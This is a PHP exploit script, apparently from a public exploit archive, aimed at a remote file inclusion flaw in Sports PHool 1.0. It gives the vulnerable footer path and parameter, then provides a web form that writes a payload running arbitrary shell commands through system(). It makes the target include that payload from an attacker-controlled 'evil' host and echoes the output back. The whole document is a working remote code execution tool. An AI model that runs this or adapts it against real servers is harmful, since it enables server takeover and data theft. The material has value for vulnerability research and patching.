SportsPHool 1.0 - Remote File Inclusion

<?php

/*
Sports PHool <= 1.0 Remote File Include Exploit
Found and c0ded by cr4wl3r @hackb0x
d0rk: no d0rk f0r kiddi0ts
Script:  http://sourceforge.net/projects/sportsphool/files/

usage:
target: http://target/sportsphool/includes/layout/plain.footer.php?mainnav=
evil: http://hackb0x/evilscript.txt?

*/

$cmd = $_POST["cmd"];
$target = $_POST["target"];
$evil = $_POST["evil"];

$form= "<form method=\"post\" action=\"".$PHP_SELF."\">"
    ."target:<br><input type=\"text\" name=\"target\" size=\"90\" value=\"".$target."\"><br>"
    ."evil:<br><input type=\"text\" name=\"evil\" size=\"90\" value=\"".$evil."\"><br>"
    ."cmd:<br><input type=\"text\" name=\"cmd\" size=\"90\" value=\"".$cmd."\"><br>"
    ."<input type=\"submit\" value=\"Submit\" name=\"submit\">"
    ."</form><HR WIDTH=\"650\" ALIGN=\"LEFT\">";

if (!isset($_POST['submit'])) 
{

echo $form;

}else{

$file = fopen ("test.txt", "w+");

fwrite($file, "<?php system(\"echo ++BEGIN++\"); system(\"".$cmd."\"); 
system(\"echo ++END++\"); ?>");
fclose($file);

$file = fopen ($target.$evil, "r");
if (!$file) {
    echo "<p>Unable to get output.\n";
    exit;
}

echo $form;

while (!feof ($file)) {
    $line .= fgets ($file, 1024)."<br>";
    }
$tpos1 = strpos($line, "++BEGIN++");
$tpos2 = strpos($line, "++END++");
$tpos1 = $tpos1+strlen("++BEGIN++");
$tpos2 = $tpos2-$tpos1;
$output = substr($line, $tpos1, $tpos2);
echo $output;

}
?>